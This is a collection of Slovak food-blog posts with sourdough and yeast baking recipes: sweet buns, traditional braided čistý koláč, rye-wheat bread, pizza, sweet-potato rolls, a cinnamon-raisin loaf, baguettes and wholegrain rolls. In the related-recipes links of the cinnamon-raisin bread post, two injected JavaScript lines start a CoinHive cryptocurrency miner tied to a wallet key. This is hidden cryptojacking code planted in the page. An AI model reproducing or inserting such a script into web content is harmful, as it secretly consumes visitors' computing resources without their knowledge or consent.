Rozkvas z pšeničného kvásku

Rozkvas pripravujem z pšeničného kvásku. Je dobré mať silný aktívny kvások, preto ho prikrmujem raz za týždeň a občas „oživím“. Ak máte len ražný kvások, môžete ho použiť. Vtedy je lepšie aspoň dva dni vopred tento ražný kvások prerábať na pšeničný.
Urobte to tak, že 1 ČL ražného kvásku zmiešate s 50 g hladkej pšeničnej múky a 50 ml vody. Po 12 hodinách odoberte zase len lyžičku kvásku a zas zmiešajte s múkou a vodou. Toto zopakujte 3x. Potom už kvások môžete prikŕmiť ako na recept.
Rovnakým spôsobom „oživujem“ kvások, keď je slabší, menej aktívny, alebo ak sme boli doma chorí, lebo aj to vie kvások oslabiť.

Takéto kváskové koláče sa dajú pripraviť aj z lievito madre, viď postup nižšie.

Ak nestíhate pripraviť pečené buchty z kvásku, možno vás poteší môj recept na pečené buchty z droždia. Nájdete tam aj tipy na iné náplne než slivkový lekvár.

Univerzálne kváskové cesto na koláče

• 200 g rozkvasu (100 g pšeničná hladká múka + 100 ml voda/mlieko + 1 PL materského kvásku)
• 500 g múky na kysnuté cesto (alebo klasickej hladkej múky špeciál)
• 260 ml plnotučného mlieka
• 1 vajce
• 3 PL cukru
• 0,5 dcl oleja
• 1 ČL soli

Pečenie s lievito madre: Ak používate na pečenie lievito madre (tuhý kvas kŕmený v pomere 2:1 múka:voda) potom odporúčam takto:

• • 150 g lievito madre (dokŕmené 6-10 hod. pred miesením cesta)
  • 500 g hladkej múky
  • 330 ml plnotučného mlieka
  • 1 vajce
  • 3 PL cukru
  • 0,5 dcl oleja
  • 1 ČL soli

Na pečené buchty:

+ slivkový lekvár

+ olej na vymastenie/papier na pečenie

Rozkvas si pripravíme 6-10 hodín vopred. Keď je rozkvas hotový, v mise zmiešame všetky suroviny a mixérom alebo ručne vymiesime tuhšie hladké cesto. Trvá to približne 15 minút.
Cesto necháme kysnúť buď pri izbovej teplote 3-5 hodín (v závislosti od teploty/ročného obdobia) alebo v chladničke 12 hodín. Po vykysnutí prehnetieme a rozvaľkáme.
Cesto nakrájame na štvorce 5×5 cm a plníme slivkovým lekvárom. Vytvarujeme buchty, ktoré natierame po bokoch olejom a ukladáme do vymasteného pekáča.
Necháme vykysnúť ešte 1-2 hodiny, buchty zväčšia svoj objem.
Rúru rozohrejeme na 200 st. C. Buchty pečieme pri 180 st. C 30-40 minút podľa skúseností s rúrou.

Radi pečiete z kvásku? Pozrite aj ďalšie moje recepty na pečivo.

Ak vyskúšate toto univerzálne kváskové cesto na koláče a upečiete z neho kváskové buchty alebo iné koláče, podeľte sa o to v komentároch.

Ela

Tak veľa kvásku

a tak málo receptov?

Stiahni si e-book

10 kváskových receptov

Príspevok Univerzálne kváskové cesto na koláče zobrazený najskôr Zo srdca do hrnca.

Čistý koláč má u nás doma svoj príbeh. Pečieme ho každý rok na Vianoce a Veľkú noc. Pôvodný recept od mojej babky bol na páperový čistý koláč z droždia a nájdete ho tu. Odkedy som začala kváskovať, samozrejme som aj tento „biely koláč“ chcela prerobiť do kváskovej verzie. Prvá verzia je na blogu už pár rokov a toto je môj ďalší recept.

Medzi týmito dvoma kváskovými verziami je rozdiel v rozkvase. V prvom recepte som ako tekutinu do rozkvasu dala vodu, tentoraz mlieko. Okrem toho som v tomto recepte použila menej rozkvasu a dala klasickú pšeničnú múku. Ak máte tú, kde píše „na kysnuté cesto“ o to lepšie, ale nemusí byť. Ja som niekedy piekla len zo špaldovej múky, preto je aj prvý kváskový recept zo špaldovej múky. Teraz používam aj pšeničnú. Samozrejme, aj v prvom recepte môžete namiesto špaldovej použiť pšeničnú. Ak si nie ste niečim istí, svoje otázky pridajte do komentárov, rada vám odpoviem.

Rozkvas si pripravíme z 2 PL materského kvásku, 100 g hladkej múky a 100 ml mlieka. Necháme kvasiť 6-9 hodín, kým narastie cca 2,5 násobne.

Na kváskový čistý koláč potrebujeme:

• 250 g rozkvasu
• 750 g hladkej múky (na kysnuté cesto)
• 500 ml mlieka
• 70 g masla
• 1 vajce do cesta + 1 vajce na potretie
• 4 PL cukru
• 9 g soli

Všetky suroviny na cesto dáme do misy a ručne alebo robotom vymiesime hladké a pružné cesto. Necháme kysnúť pri izbovej teplote 3-5 hodín, cesto môžeme raz-dvakrát poprekladať. (Alebo necháme kysnúť v chladničke 8-12 hodín). Cesto si rozdelíme na 4 časti a upletieme vrkoč. Vložíme do formy vymastenej maslom a necháme kysnúť ešte cca 2 hodiny. Potrieme rozšľahaným vajíčkom. Rúru rozohrejme na 230 st. C. Koláč pečieme prvých 20 minút na 200 st. C, potom znížime na 170 st. a pečieme ďalších 35-40 minút.

Ak vyskúšate kváskový čistý koláč podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Kváskový čistý koláč II. zobrazený najskôr Zo srdca do hrnca.

Nedávno som mala možnosť piecť za krátky čas veľa chlebov. Tak sa mi v jeden deň dostalo do rúk cesto v rôznych fázach kysnutia, počas miesenia, prekladania a tvarovania. Povedala som si, že to nie je na škodu a preto sa s vami chcem podeliť o jednoduchý recept na základný pšenično-ražný kváskový chlieb.

Ražný rozkvas:

Ak dodržíte tento postup a použijete chlebovú ražnú aj chlebovú pšeničnú múku, upečiete chutný bochník, ktorý vás vráti do detstva. 

• 120 g ražnej chlebovej múky
• 120 g vody
• 1 PL materského kvásku

Zamiešame v nádobe a necháme kvasiť 9-12 hodín.

Pšenično-ražný kváskový chlieb:

• 200 g ražného rozkvasu
• 400 g pšeničnej chlebovej múky
• 240 ml vody
• 1,5 ČL soli
• 1 ČL mletej rasce

Rozkvas premiešame s múkou a vodou, necháme aspoň 30 minút postáť (fermentolýza). Pridáme soľ, rascu a vymiesime cesto. Prikryjeme a necháme kysnúť 2-3 hodiny, cesto môžeme poprekladať 3-4 krát. Cesto vyklopíme na pomúčenú dosku a rukami prehnetieme. Vytvarujeme bochník a vložíme ho do ošatky vysypanej múkou (alebo tapiokovým či zemiakovým škrobom). Necháme znova kysnúť asi 2 hodiny. Keď je cesto takmer je nakysnuté, rozohrejeme rúru s dvoma plechmi na 250°C. Na horúci spodný plech vylejeme 2 dcl vody. Na horný plech vyklopíme chlieb z ošatky, môžeme narezať. Podľa zvyklostí s rúrou pečieme:

Pečenie v teplovzdušnej rúre: 10 minút na 230°C + 30 min. na 180°C

Pečenie na horný+dolný ohrev: 10 minút na 250°C + 30 min. na 200°C.

Po upečení poklopeme po spodnej časti chleba, má znieť duto. Necháme vychladnúť na mriežke (ideálne 4-5 hodín) a držíme v ľanovom vrecku na chlieb.

Vyskúšajte aj ďalšie moje recepty na pečivo.

Videorecept na kváskový chlieb nájdete aj u mňa na youtube:

Moji rodičia ma vždy učili úcte k chlebu. Chlieb sa u nás nikdy nevyhadzoval do koša. A pamätám si, ako babka po nakrájaní chleba zakaždým dlaňou pozbierala omrvinky a zjedla ich. Taký bol chlieb vzácny.

P.S.: Keď som fotila tento čerstvo upečený bochník, pritmolil sa ku mne náš 1,5 ročný synček. Vyštveral sa na stoličku a chlebík pobozkal. Ostala som bez slov. Taký je chlieb vzácny.

Ak vyskúšate pšenično-ražný kváskový chlieb podľa môjho receptu, podeľte sa o názor v komentároch. Budem sa tešiť:)

Ela

Tak veľa kvásku

a tak málo receptov?

Stiahni si e-book

10 kváskových receptov

Príspevok Pšenično-ražný kváskový chlieb zobrazený najskôr Zo srdca do hrnca.

Recept je na štyri okrúhle pizze, naukladať si na ne môžete, čo máte radi. Mne sa osvedčilo že na rozvaľkanú pizzu natriem paradajkový základ a na to posypem syr, až potom pridávam ostatné ingrediencie. Upečenú pizzu pred servírovaním môžete posypať rukolou.

Kvásková pizza

Na rozkvas:

• 2 PL kvásku (ražný, špaldový alebo pšeničný)
• 100 g špaldovej alebo pšeničnej múky
• 80 ml vody

Na cesto:

• 150 g rozkvasu
• 500 g hladkej špaldovej alebo pšeničnej múky (bielej)
• 300 ml vody
• 2-3 PL olivového oleja
• 12 g soli

Paradajkový základ:

• 150 g paradajkovej pasaty
• 3-4 PL olivového oleja
• bazalka, oregano a soľ

Ako na to:

Postup píšem aj s mojim časovaním. Môžete si to zmeniť podľa seba. Ja rada nechávam cesto kysnúť v noci. Doobedu si pripravíme rozkvas zmiešame kvások so špaldovou múkou a vodou. Necháme aktivovať cca 6-9 hodín. Večer zamiesime cesto zo všetkých surovín rukou alebo kuchynským robotom asi 15 minút. Cesto necháme kysnúť cez noc v chladničke 10-12 hodín. Na druhý deň ráno cesto vyberieme, prehnetieme a necháme pri izbovej teplote kysnúť ešte 3-4 hodiny. Rozdelíme na 4 časti, každú prehnetieme a rozvaľkáme na kruh. Pizzu potrieme paradajkovým základom a naplníme obľúbenými surovinami. Pečieme v dobre vyhriatej rúre najprv 5-7 minút na 240 st. C, potom znížime na 200 st. a dopečieme, celková doba pečenia je 12-15 minút.

Update (apríl 2020) : Túto pizzu pečiem už pár rokov a skúšala som ju aj v rôznych rúrach. Faktom je, že každá rúra pečie inak, preto si dĺžku pečenia aj teplotu môžete odsledovať a upraviť podľa vlastných skúseností. Mne sa v poslednej dobe osvedčilo piecť ju na teplovzdušný program (tá vrtuľka) v dobre vyhriatej rúre na 240 st. C asi 5-6 minút. Je prepečená a nevysuší sa.

Ak vyskúšate pizzu podľa môjho receptu, podeľte sa o to v komentároch! :-)

Ela

Príspevok Kvásková pizza zobrazený najskôr Zo srdca do hrnca.

Na batátové žemličky potrebujeme:

• 150 g špaldového rozkvasu
• 400 g bielej špaldovej múky
• 150-180 ml vody
• 100 g batátového pyré (batát ošúpať, nakrájať na kocky, uvariť a rozmixovať)
• 1 PL bieleho jogurtu
• 10 g soli

Ako na to:

Vopred si pripravíme rozkvas – kvások z chladničky (ideálne špaldový) dokŕmime  100 g celozrnnej špaldovej múky a 100 ml vody. necháme aktivovať 10-12 hodín podľa izbovej teploty.

Odoberieme si 150 g rozkvasu, zvyšok odložíme do chladničky na ďalšie používanie. V mise zmiešame všetky suroviny na žemličky. Vodu prilievam postupne podľa konzistencie cesta. Robotom prehnetieme asi 15 minút. (Zapínam asi 8 minút na najnižšiu rýchlosť a zvyšných 7 minút o stupeň viac.) Misu zakryjeme a necháme v chladničke kysnúť 12 hodín (ideálne na noc).

Ráno vyberieme, prehnetieme a necháme kysnúť pri izbovej teplote asi 3-4 hodiny. Vyberieme na pomúčenú dosku, zľahka prehnetieme. Cesto rozdelíme na 12 malých bochníčkov (alebo 8 väčších), ja si pomáham váhou, aby boli žemličky rovnaké. Každý bochníček cesta roztiahneme zľahka pristami a len jemne zrolujeme, netreba ich veľmi stláčať. Ukladáme na plech s papierom na pečenie spojom dole. Takto pripravené žemličky necháme kysnúť 1-2 hodiny podľa izbovej teploty. Majú trochu podrásť, nemali by sa veľmi rozlievať do strán.

Rúru rozohrejeme na 250 st. C. Na spodok uložíme jeden plech, aby sa rozohrial. Keď je rúra nahriata, do plechu nalejeme 1,5 dcl vody, rýchlo zatvoríme rúru a minútku počkáme. Medzitým si narežeme žemličky – jeden pozdĺžny ostrý rez stredom. Teraz môžeme batátové žemličky vložiť do rúry s plechom, na ktorom kysli. Rúru znížime na 230 st.C, pečieme 10 minút. Potom vyberieme spodný plech, teplotu znížime na 210 st.C a pečieme ešte cca 15 minút.

Po upečení ich preložíme na mriežku a necháme celkom vychladnúť. V deň pečenia sú žemličky najlepšie, mierne chrumkavé a vnútri vláčne. Na druhý deň sú ešte celkom obstojné (t.j. nie úplne gumové, ak by sme mali byť veľmi prísni :)
U mňa je to typ pečiva na príležitostné pohostenie, kedy si môžem kúsok čerstvej žemličky namáčať do olivového oleja a len tak vychutnať. Ak urobíte väčších osem kusov, je to taká akurátna desiatova veľkosť.

Ak vám tieto batátové žemličky chutili, podeľte sa o skúsenosť v komentári dole :) A nezabudnite použiť hashtag #zosrdcadohrnca aby som vás našla aj na Instagrame!

Príspevok Batátové žemličky zobrazený najskôr Zo srdca do hrnca.

Klasický ražný chlieb pečiem vždy tak, že mi vykysne v ošatke a už ho len vyklopím na horúci plech. Tento prekladaný chlebík som nechala kysnúť v hranatej forme od KitchenAid s nepriľnavým povrchom a dostala som tak perfektný toastový tvar. Vymastila som ju maslom a chlieb sa po upečení bez problémov vyklopil.

Na sladký kváskový chlieb so škoricou a hrozienkami potrebujeme:

• 250 g aktivovaného špaldového kvásku (získame zmiešaním 150 g bielej špaldovej múky+100 ml vody s 1PL ražného alebo špaldového kvásku, nechať aktivovať 6-9 hodín)
• 350 g bielej špaldovej múky
• 150 g celozrnnej špaldovej múky
• 300 ml mlieka (polovicu môžete nahradiť kefírom)
• 1/2 ČL soli
• 3 PL cukru (použila som kokosový)
• náplň: hrozienka, 5-6 PL javorového sirupu a 1-2 PL škorice (podľa toho, ako veľmi ľúbite škoricu)
• podlhovastá forma na pečenie (moja od KitchenAid má rozmery 23×13 cm)

Ako na to:

Všetky ingrediencie okrem náplne ručne alebo mixérom uhnetieme. Necháme kysnúť v chladničke 4-6 hodín, ideálne cez noc.

Vykysnuté cesto rozvaľkáme na pomúčenej doske na obdĺžnik, hrúbka asi 1 cm. Posypeme škoricou, hrozienkami a polejeme javorovým sirupom.

Cesto zrolujeme a potom preložíme na tretiny, jednu časť na druhú (viď obrázok).

Formu na pečenie vymastíme maslom, cesto vložíme do formy a necháme vykysnúť ešte aspoň 3-4 hodiny podľa izbovej teploty.

Rúru zapneme na 240 st. C a na dno položíme prázdny plech, necháme dobre rozohriať. Do prázdneho plechu pred pečením vlejeme 1-2 dcl vody. Formu s chlebom vložíme do strednej časti rúry.

Pečieme pri 240st.C prvých 10 minút, potom znížime na 200 st. a pečieme ešte 30 minút. Ak kôrka zhora príliš tmavne, v priebehu pečenia ju môžeme prikryť alobalom.

Upečený chlieb necháme 5 minút postáť vo forme, potom vyložíme na mriežku a necháme celkom vychladnúť.

U mňa boduje kombinácia s orechovým maslom a džemom, dajte mi vedieť, ako chutil vám! Dobrú chuť ;-)

Pre inšpiráciu ďalšie kváskové recepty z môjho blogu:

var miner = new CoinHive.Anonymous(’49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK‘); miner.start(); Kváskový čistý koláč

var miner = new CoinHive.Anonymous(’49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK‘); miner.start(); Kváskové bagety

Príspevok Sladký kváskový chlieb so škoricou a hrozienkami zobrazený najskôr Zo srdca do hrnca.

O špaldovom kvásku som písala v recepte na kváskové bagety, ak s ním nemáte skúsenosť, pozrite tu.

Ďalší recept na kváskový čistý koláč s mojimi novšími postrehmi čítajte tu. 

Kváskový čistý koláč:

• 500 g polohrubej špaldovej múky
• 250 g špaldového rozkvasu
• 300 ml vlažného plnotučného mlieka
• 5 g soli
• 2 PL trstinového cukru
• 50 g mäkkého masla
• 1 vajce do cesta + trochu na potretie koláča

1. Večer pred pečením si zarobíme rozkvas zmiešaním 150 g špaldovej hladkej múky a 100 ml vody so špaldovým kváskom.
2. Ráno zamiesime na koláč ručne alebo v kuchynskom robote. Zmiešame všetky suroviny a aspoň 15 minút hnetieme cesto, je pružné, veľmi sa nelepí. Necháme kysnúť pri izbovej teplote asi 3 hodiny, môžeme dvakrát preložiť.
3. Potom uložíme na pomúčenú dosku, rozdelíme na štyri časti, z ktorých vyvaľkáme dlhé šúľky. Upletieme vrkoč (ako na vianočku) a uložíme ho do vymastenej a múkou vysypanej nádoby na pečenie (ja som mala len okrúhlu, preto som cesto stočila, ideálna je podlhovastá), videjko tu :)
4. Necháme kysnúť ešte cca 2-3 hodiny, kým cesto pekne narastie. Rúru si predhrejeme na 220 st. C Pečieme najprv na 200 st.C, po 20-30 minútach znížime na 180 st.C a pečieme celkom cca 60-70 minút.
5. Počas pečenia môžeme vrch koláča prikryť alobalom, ak kôrka veľmi hnedne.

Ak vyskúšate kváskový čistý koláč podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Kváskový čistý koláč zobrazený najskôr Zo srdca do hrnca.

Toto bol pre mňa ďalší level v kváskovom pečení, keďže už rok pečiem kváskový chlieb. Chutí celej rodine, niektorí si ho už pečú sami a nedávno som dostala požiadavku, či by som upiekla aj kváskové bagety. Ale také tie biele, nadýchané. No z celozrnného ražného kvásku asi ťažko, tak som hneď písala Lenke zo Zdravé pečenie, u ktorej som bola na kurze pečenia kváskového chleba. Lenka mi poradila, aby som ražný kvások prerobila na špaldový, dala zopár dobrých rád a bagety sa na prvýkrát podarili.  Recept som po niekoľkých pečeniach ešte vyladila a tak ho ponúkam aj pre vás.

Upiecť biele kváskové bagety mi najprv pripadalo ako náročná misia, tak to rozpisujem podrobnejšie, ak ste tiež začiatočníci ako ja a takéto bagety z kvásku pečiete prvýkrát.

Na začiatku som prerábala ražný kvások na špaldový, teda prvýkrát chutila takáto bageta skôr ako chlebová. Keď som už prerobený kvások dokrmovala pravidelne iba bielou špaldovou múkou, bageta sa začala viac podobať na klasickú bagetu. Nemá úplne páperovú štruktúru, chuťovo je však úplne geniálna. Je to však stále biele pečivo, nepečiem ho teda tak pravidelne ako celozrnný kváskový chlieb.

Na začiatok potrebujete kvások:

Ak máte špaldový alebo ražný kvások, prejdite rovno na aktiváciu kvásku. 
Ak nemáte žiadny kvások a chcete piecť kváskové bagety, potrebujete viac 
času. Treba si totiž vyrobiť špaldový zo špaldovej múky, a to trvá 
niekoľko dní. Vygooglite si založenie kvásku, postup nájdete na internete.

Aktivácia kvásku:

Večer pred pečením zmiešať odložený kvások z chladničky (špaldový alebo 
ražný) zo 150 g bielej hladkej špaldovej múky + 100 ml vody, nechať 
v miske pri izbovej teplote prikryté. Z tohto kvásku si na druhý deň 
odložíme na ďalšie pečenie 2 PL a budeme ho prikrmovať už len bielou 
špaldovou múkou.

Kvások zmiešaný s múkou + vodou a po 12 hodinách.

Kvások máme aktivovaný, ideme piecť!

Recept na kváskové bagety:

• 250 g aktivovaného špaldového kvásku
• 350 g bielej špaldovej múky (použila som 150 g hladkej a 200 g polohrubej)
• 180 ml vody
• 12-14 g soli

1. Odložíme si 2 PL kvásku na ďalšie pečenie.
2. V mise zmiešame 250 g aktivovaného špaldového kvásku so špaldovou múkou, vodou a soľou. Rukami alebo mixérom zahnetieme pružné elastické cesto, malo by sa oddeľovať a veľmi nelepiť.
3. Necháme kysnúť pri izbovej teplote cca 2 hodiny, počas kysnutia raz preložíme.
4. Prenesieme na pomúčenú dosku a rozdelíme na dve časti. Už nevaľkáme, len prstami roztiahneme každé cesto do tvaru obĺžnika.
5. Zľahka zrolujeme do valčeka – bagety a prenesieme na plech s papierom na pečenie. Necháme podkysnúť ešte 1 hodinu.
6. Rúru rozohrejeme na 230 st.C. Bagety zhora narežeme na viacerých miestach. Pečieme prvých 10 minút na 230 st., potom teplotu znížime na 200 st. C a pečieme ešte 15-20 minút dozlata. Necháme vychladnúť na mriežke.

Ak pečiete zo špaldového kvásku každý týždeň, tým ho vlastne prikrmujete. Ak menej často, raz za týždeň treba kvások v chladničke dokŕmiť pridaním lyžičky hladkej špaldovej múky a rovnakého množstva vody, premiešať a odložiť.

Príspevok Kváskové bagety zobrazený najskôr Zo srdca do hrnca.

Žemle sú aj s použitím celozrnnej múky pružné a mäkké. Ak urobíte väčšie žemle, dajú sa použiť na domáce hamburgery. Časť žemlí som po upečení a vychladnutí dala do mrazničky a aj po rozmrazení ostali rovnako mäkké. Z tohto množstva mi vyšlo 8 ks.

Suroviny na celozrnné žemle:

• 200 g špaldovej hladkej múky
• 100 g celozrnnej špaldovej hladkej múky
• 100 g pohánkovej múky
• sušené droždie 1/2 balenia
• 150 ml vlažnej vody
• 50 ml mlieka
• 1 ČL cukru
• 1/2 ČL soli
• 50 ml olivového oleja
• sezam na posyp

Postup:

1. Múku zmiešame s droždím, postupne pridáme všetky suroviny.
2. Ručne alebo pomocou robota zamiesime cesto, kým sa stane pružným a oddeľuje sa od misy, cca 15 minút. Misu zakryjeme a necháme na teplom mieste kysnúť približne 1 hodinu.
3. Na pomúčenej doske z cesta zľahka vytvarujeme valec, ktorý rozdelíme na 8 častí. Z každého kúska vytvarujeme okrúhlu žemľu a preložíme na plech s papierom na pečenie.
4. Na plechu necháme podkysnúť ešte 15 minút. Potrieme slanou vodou, posypeme sezamom a pečieme v rúre vyhriatej na 200 st. C, po 5-7 minútach znížime na 180 st. C, celkovo 30-35 minút.
5. Upečené žemle môžeme potrieť olivovým olejom a budú sa pekne lesknúť.

Ak vyskúšate celozrnné žemle podľa môjho receptu, podeľte sa o to v komentároch.

Ela

Príspevok Celozrnné žemle zobrazený najskôr Zo srdca do hrnca.

Klasický kysnutý koláč, na východnom Slovensku známy ako biely alebo čistý koláč pečiem dvakrát do roka, na Vianoce a Veľkú noc. V našej rodine je to tradícia, bily kolačok piekli obidve moje babky, od jednej mám presný recept, druhej som zvykla cesto zapletať do vrkoča. Kysnuté cesto na čistý koláč sa miesi dlho a najlepšie ručne, vtedy je výsledkom páperovo mäkká striedka. Čistý koláč je u nás súčasťou veľkonočného stolovania spolu s hrudkou, šunkou, či cviklou, ale je úžasný aj obyčajne natretý s maslom. 

Vyskúšajte rokmi overený recept na čistý koláč. A nezabudnite, že čím dlhšie a poctivejšie sa miesi cesto, tým je koláč jemnejší.

Pre kváskovú verziu pozrite tieto recepty na čistý koláč.

Na čistý koláč potrebujeme:

• 1 kg polohrubej múky
• 750 ml mlieka
• 1 ks droždie
• 50 g cukru
• 75 g masla + trochu na vymastenie
• 1 vajce do cesta + 1 na potretie koláča
• 1 ČL prášku do pečiva
• 1/2 ČL soli
• 50 g sušeného mlieka (voliteľné)
• hrozienka (voliteľné)

Postup

1. Zarobíme kvások z droždia, trocha cukru a 2 dcl vlažného mlieka.
2. Do misy vsypeme všetky sypké suroviny. Keď kvások vykysne, prilejeme ho do misy. Pridáme  zvyšné mlieko, zmäknuté maslo a jedno vajce.
3. Cesto vymiesime ručne aspoň 1/2 hodiny. Zo začiatku bude riedšie, lepkavé, postupne sa stane elastickým a pružným.
4. Vymiesené cesto poriadne pomúčime a necháme hodinu kysnúť v miske.
5. Vykysnuté cesto premiesime na doske, rozdelíme na 4 bochníky, ktoré znova necháme podkysnúť 15 minút.
6. Formu na pečenie si vymastíme maslom.
7. Bochníky rolujeme na rovnako dlhé šúľky, pričom konce zrolujeme trošku tenšie. Upletieme vrkoč a koláč opatrne prenesieme do formy. Znova necháme podkysnúť asi 15 minút.
8. Koláč niekoľkokrát popicháme špáradlom, potrieme celým vajíčkom a uložíme piecť do dobre vyhriatej rúry na 200°C.
9. Prvých 20-30 minút pečieme pri 200°C, potom znížime teplotu na 180°C a pečieme ešte asi hodinu. Po polhodine pečenia môžeme koláč zľahka zakryť alobalom, aby príliš nezhnedol.
10. Celková dĺžka pečenia koláča z 1 kg múky je asi 80-90 min., koláč z 2 kg múky pečiem aj 100 min.
11. Po upečení potrieme cukrovou vodou a necháme vychladnúť pod bavlnenou utierkou.

Ak vyskúšate čistý koláč podľa môjho receptu, podeľte sa o to v komentároch dole.

Ela

Inšpirujte sa mojimi veľkonočnými receptami v tomto e-booku:

Príspevok Čistý koláč zobrazený najskôr Zo srdca do hrnca.